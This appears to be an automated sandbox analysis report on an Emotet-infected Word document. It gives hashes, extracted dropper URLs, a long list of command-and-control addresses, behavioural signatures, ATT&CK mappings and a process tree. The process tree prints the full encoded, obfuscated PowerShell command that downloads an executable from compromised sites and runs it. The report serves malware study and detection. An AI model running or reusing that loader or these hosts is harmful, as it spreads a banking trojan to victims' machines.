emotet | 7e06ee4704f2c5f8a4ed2f68565f3f7518dd9ae22b9ae4fde59b898d8d9647d0

General

Target
emotet_e3_7e06ee4704f2c5f8a4ed2f68565f3f7518dd9ae22b9ae4fde59b898d8d9647d0_2020-08-20__105228._doc.doc
Size 189KB
Sample200820-r91btyldsa
SHA256 7e06ee4704f2c5f8a4ed2f68565f3f7518dd9ae22b9ae4fde59b898d8d9647d0
MD5 366a740eb1a5511a2a7693e98441c5df
SHA1 8195059bce834fb61b03c95d95d290438e28c260
SHA512 5d3616051d9720fbb0d14e14c928968a530e6501920c8221035831a0546c165dd73b813f649f35769a6157651f06a32ca6528a4395afafe07474fbee027579b4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://gutjahr24.de/2015-11-09/arnf/
exe.dropper
http://zakahlife.com/wp-includes/w2jz15807/
exe.dropper
http://milde-seite.de/bigil/VNgmf9392/
exe.dropper
https://grasplms.com/wp-content/n5824604/
exe.dropper
http://britanniacricketleague.com/wp-admin/XgE3ss97089/
exe.dropper
http://benhlyphukhoa.info/wp-includes/4Ja2v10q187005/
exe.dropper
https://blog.angadiworldtech.com/css/I4pgkr7582964/

Extracted

Family

emotet

C2

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2404	992	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3544-12-0x00000000007C0000-0x00000000007CC000-memory.dmp	emotet
behavioral2/memory/3544-12-0x00000000007C0000-0x00000000007CC000-memory.dmp	emotet
behavioral2/memory/3564-15-0x0000000002120000-0x000000000212C000-memory.dmp	emotet
behavioral2/memory/3564-15-0x0000000002120000-0x000000000212C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	2404	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3544	Ijbtr_.exe
3564	photowiz.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cortana.Persona\photowiz.exe	Ijbtr_.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2096	WINWORD.EXE
2096	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2404	powersheLL.exe
2404	powersheLL.exe
2404	powersheLL.exe
3564	photowiz.exe
3564	photowiz.exe
3564	photowiz.exe
3564	photowiz.exe
3564	photowiz.exe
3564	photowiz.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
3544	Ijbtr_.exe
3544	Ijbtr_.exe
3564	photowiz.exe
3564	photowiz.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 3544	2404	powersheLL.exe	74
PID 2404 wrote to memory of 3544	2404	powersheLL.exe	74
PID 2404 wrote to memory of 3544	2404	powersheLL.exe	74
PID 3544 wrote to memory of 3564	3544	Ijbtr_.exe	76
PID 3544 wrote to memory of 3564	3544	Ijbtr_.exe	76
PID 3544 wrote to memory of 3564	3544	Ijbtr_.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_7e06ee4704f2c5f8a4ed2f68565f3f7518dd9ae22b9ae4fde59b898d8d9647d0_2020-08-20__105228._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAGAAVABZAHAAUgBPAHQAYABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAJwAyACwAJwArACcAIAB0AGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQARQA4AG0AMQAwAF8ANQAgAD0AIAAoACcASQBqACcAKwAnAGIAdAByAF8AJwApADsAJABHAHoAagBpAHgAbwB0AD0AKAAnAEMAOABmADQAJwArACcAMgAnACsAJwB0AHgAJwApADsAJABZADcAbQBnADEAZQA3AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMACcAKwAnAG8AVQBPACcAKwAnAGYAZgBpAGMAJwArACcAZQAyADAAMQA5AEwAbwBVACcAKQAuACIAUgBlAHAATABgAEEAYwBFACIAKAAnAEwAbwBVACcALABbAHMAVABSAEkATgBHAF0AWwBjAGgAYQByAF0AOQAyACkAKQArACQARQA4AG0AMQAwAF8ANQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAA3AG4AZQBsADQAZwA9ACgAJwBaADQAbAAnACsAJwBuAHoAOQBsACcAKQA7ACQARgB2AHcAXwBwADUAZwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQASgB1ADgAbwB1ADEAagA9ACgAJwBoAHQAJwArACcAdABwADoALwAnACsAJwAvAGcAJwArACcAdQAnACsAJwB0AGoAYQBoACcAKwAnAHIAMgA0AC4AZABlAC8AMgAwACcAKwAnADEANQAtADEAMQAtADAAOQAvACcAKwAnAGEAJwArACcAcgAnACsAJwBuACcAKwAnAGYAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AegBhAGsAYQAnACsAJwBoACcAKwAnAGwAJwArACcAaQBmAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHcAJwArACcAMgBqACcAKwAnAHoAMQA1ACcAKwAnADgAMAA3AC8AJwArACcAKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAG0AJwArACcAaQBsACcAKwAnAGQAZQAtACcAKwAnAHMAJwArACcAZQBpACcAKwAnAHQAJwArACcAZQAnACsAJwAuAGQAZQAvACcAKwAnAGIAaQAnACsAJwBnAGkAbAAvAFYATgBnAG0AZgAnACsAJwA5ACcAKwAnADMAOQAnACsAJwAyAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvAC8AZwByAGEAJwArACcAcwBwACcAKwAnAGwAbQAnACsAJwBzAC4AYwBvAG0AJwArACcALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgB0AC8AbgA1ADgAMgA0ADYAMAAnACsAJwA0AC8AKgBoAHQAdABwADoALwAvAGIAJwArACcAcgBpAHQAYQBuAG4AJwArACcAaQBhAGMAJwArACcAcgAnACsAJwBpACcAKwAnAGMAawBlAHQAbABlAGEAZwB1AGUALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAFgAZwBFACcAKwAnADMAcwAnACsAJwBzACcAKwAnADkAJwArACcANwAnACsAJwAwADgAOQAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBiACcAKwAnAGUAbgBoAGwAJwArACcAeQBwACcAKwAnAGgAdQBrAGgAJwArACcAbwAnACsAJwBhAC4AaQBuAGYAbwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAnADQASgBhADIAdgAnACsAJwAxADAAJwArACcAcQAxADgANwAnACsAJwAwADAANQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvACcAKwAnAGIAbABvAGcALgBhAG4AZwAnACsAJwBhAGQAaQB3AG8AcgAnACsAJwBsAGQAdABlAGMAaAAuACcAKwAnAGMAJwArACcAbwBtAC8AYwBzAHMALwAnACsAJwBJADQAJwArACcAcABnAGsAcgAnACsAJwA3ADUAOAAyADkAJwArACcANgA0AC8AJwApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAYQBwADkAaQBwAG8APQAoACcATgB1AGkANQAnACsAJwB5ACcAKwAnAG8AbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDADIAbQB5AGQAZwBpACAAaQBuACAAJABKAHUAOABvAHUAMQBqACkAewB0AHIAeQB7ACQARgB2AHcAXwBwADUAZwAuACIARABvAHcAbgBMAE8AYABBAGAAZABGAEkAbABlACIAKAAkAEMAMgBtAHkAZABnAGkALAAgACQAWQA3AG0AZwAxAGUANwApADsAJABSAG8AMwB5AGUANwBhAD0AKAAnAE4AJwArACcAcQBqADUAYwBnAGYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFkANwBtAGcAMQBlADcAKQAuACIATABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIAOAA5ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAWQA3AG0AZwAxAGUANwApADsAJABMADAAMQBkADEAeQA2AD0AKAAnAFQAJwArACcAdwAzACcAKwAnAHYAbQBmAHYAJwApADsAYgByAGUAYQBrADsAJABWAHoAbABnAHkAdQBfAD0AKAAnAFoAcAAzAGcAdQAnACsAJwB0AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGkAaABwAHkAbwAwAD0AKAAnAFgAJwArACcAZwBuAGoAagA2ACcAKwAnAGcAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\SysWOW64\Cortana.Persona\photowiz.exe
    "C:\Windows\SysWOW64\Cortana.Persona\photowiz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2096-0-0x00007FFB5AFD0000-0x00007FFB5B696000-memory.dmp

Download

memory/2404-6-0x00007FFB536A0000-0x00007FFB5408C000-memory.dmp

Download

memory/2404-7-0x00000194FE4C0000-0x00000194FE4C1000-memory.dmp

Download

memory/2404-8-0x00000194FE800000-0x00000194FE801000-memory.dmp

Download

memory/3544-12-0x00000000007C0000-0x00000000007CC000-memory.dmp

Download

memory/3564-15-0x0000000002120000-0x000000000212C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads